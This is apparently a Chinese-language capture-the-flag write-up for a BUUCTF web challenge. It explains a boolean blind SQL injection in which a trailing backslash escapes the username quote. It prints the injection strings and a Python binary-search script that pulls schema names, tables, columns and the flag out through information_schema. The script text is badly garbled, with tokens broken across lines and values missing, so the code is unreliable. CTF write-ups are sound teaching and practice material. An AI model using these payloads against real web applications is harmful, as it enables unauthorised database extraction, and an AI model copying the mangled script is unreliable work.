BUUCTF web題解合集（六）

沒想到sql注入還能要掃目錄。掃目錄能看到robots.txt，提示存在hint.txt，訪問告知了你sql查詢語句。

select * from users where username='$_post["username"]' and password='$_post["password"]';

很平常的查詢語句。但同時有什麼用呢，就得結合上面的測試，跑字典發現\沒被過濾。而它的作用就是轉義。

如果我們 username 傳入的是admin\那麼\可以把閉合username的單引號轉義，也就變成了username='admin\' and password='而我們傳入的password也就單獨成為了一部分，也就給了我們利用的機會。

or (ascii(substr(username,1,1))>1000)#
or (ascii(substr(password,1,1))>1000)#

結合起來的sql語句就是

select * from users where username='admin\' and password=' or ascii(substr(password,1,1))>0#';

這樣的話，因為前面username='admin\' and password='查詢不存在。執行or後面的來作返回值，從而構成布林盲注。

並且發現當為真時，回顯不同。

所以，可以編寫python指令碼來跑。借用網上師傅的二分法。

:# sql = "1^(ord(substr((select(group_concat(schema_name))from(information_schema.schemata)),%d,1))>%d)^1"%(i,j) #資料庫名字

# sql = "1^(ord(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema)='geek'),%d,1))>%d)^1"%(i,j) #表名

# sql = "1^(ord(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='f1nai1y')),%d,1))>%d)^1"%(i,j) #列名

sql =

"1^(ord(substr((select(group_concat(password))from(f1nai1y)),%d,1))>%d)^1"

%(i,j)

data =

r = requests.get(url,params=data)

# print (r.url)

if"click"

in r.text:

res =

1else

: res =

0return res

defexp():

global flag

for i in

range(1

,10000):

(i,':'

) low =

31 high =

127while low <= high :

mid =

(low + high)//2

res = payload(i,mid)

if res :

low = mid +

1else

: high = mid -

1 f =

int(

(low + high +1)

)//2if

(f ==

127or f ==31)

:break

# print (f)

flag +=

chr(f)

(flag)

exp(

)print

('flag='

,flag)

然後本地加乙個php檔案上去。

BUUCTF web題解合集（六）

BUUCTF web題解合集（二）

BUUCTF web題解合集（四）

4月訓練題解合集

BUUCTF web題解合集（六）

BUUCTF web題解合集（二）

BUUCTF web題解合集（四）

4月訓練題解合集

相關推薦